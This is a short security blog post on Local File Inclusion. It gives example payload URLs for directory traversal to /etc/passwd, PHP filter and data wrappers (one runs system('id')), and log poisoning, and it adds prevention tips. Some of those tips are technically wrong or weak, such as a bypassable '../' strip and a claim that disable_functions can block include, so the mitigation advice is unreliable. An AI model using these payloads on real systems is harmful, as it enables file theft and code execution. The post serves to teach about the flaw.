Local File Inclusion (LFI) is a critical web vulnerability that allows attackers to read sensitive files on a server by manipulating input parameters. This post explores common LFI parameters, exploitation techniques, and mitigation strategies.
Common LFI Parameters
Attackers often manipulate these parameters to exploit LFI vulnerabilities:
– `file=`
– `page=`
– `include=`
– `load=`
– `document=`
– `path=`
Exploitation Techniques
Basic LFI Payloads
http://example.com/index.php?file=../../../../etc/passwd http://example.com/index.php?page=/var/log/apache2/access.log
PHP Wrapper Techniques
http://example.com/index.php?file=php://filter/convert.base64-encode/resource=config.php
http://example.com/index.php?file=data://text/plain,<?php system('id'); ?>
Log Poisoning
- Inject PHP code into User-Agent or Referer headers.
2. Access the log file via LFI:
http://example.com/index.php?file=../../../../var/log/apache2/access.log
You Should Know:
Prevention Techniques
1. Input Validation
$file = str_replace('../', '', $_GET['file']);
2. Allowlist Approach
$allowed_files = ['home.php', 'about.php'];
if (!in_array($_GET['file'], $allowed_files)) { die('Invalid file!'); }
3. Disable Dangerous Functions
disable_functions = "include,require,include_once,require_once"
Linux Commands for Debugging
Check file permissions ls -la /var/www/html Monitor Apache logs tail -f /var/log/apache2/access.log Search for vulnerable PHP files grep -r "include($_GET" /var/www/html
Windows Commands for Security Checks
List files with weak permissions icacls C:\inetpub\wwwroot Check web server logs type C:\xampp\apache\logs\access.log
What Undercode Say
LFI vulnerabilities remain a significant threat due to poor input handling. Attackers leverage directory traversal, PHP wrappers, and log poisoning to escalate access. Developers must enforce strict input validation, use allowlists, and disable dangerous PHP functions. System administrators should regularly audit file permissions and monitor logs for suspicious activity. Combining secure coding practices with server hardening minimizes LFI risks.
Expected Output:
- Exploited `/etc/passwd` via LFI.
- Detected malicious log injections.
- Patched vulnerable `file=` parameter.
Prediction
LFI attacks will evolve with increased exploitation of cloud storage paths and API misconfigurations. Automated scanners will increasingly target LFI in CI/CD pipelines.
Relevant URLs from Post:
References:
Reported By: Zlatanh Lfi – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
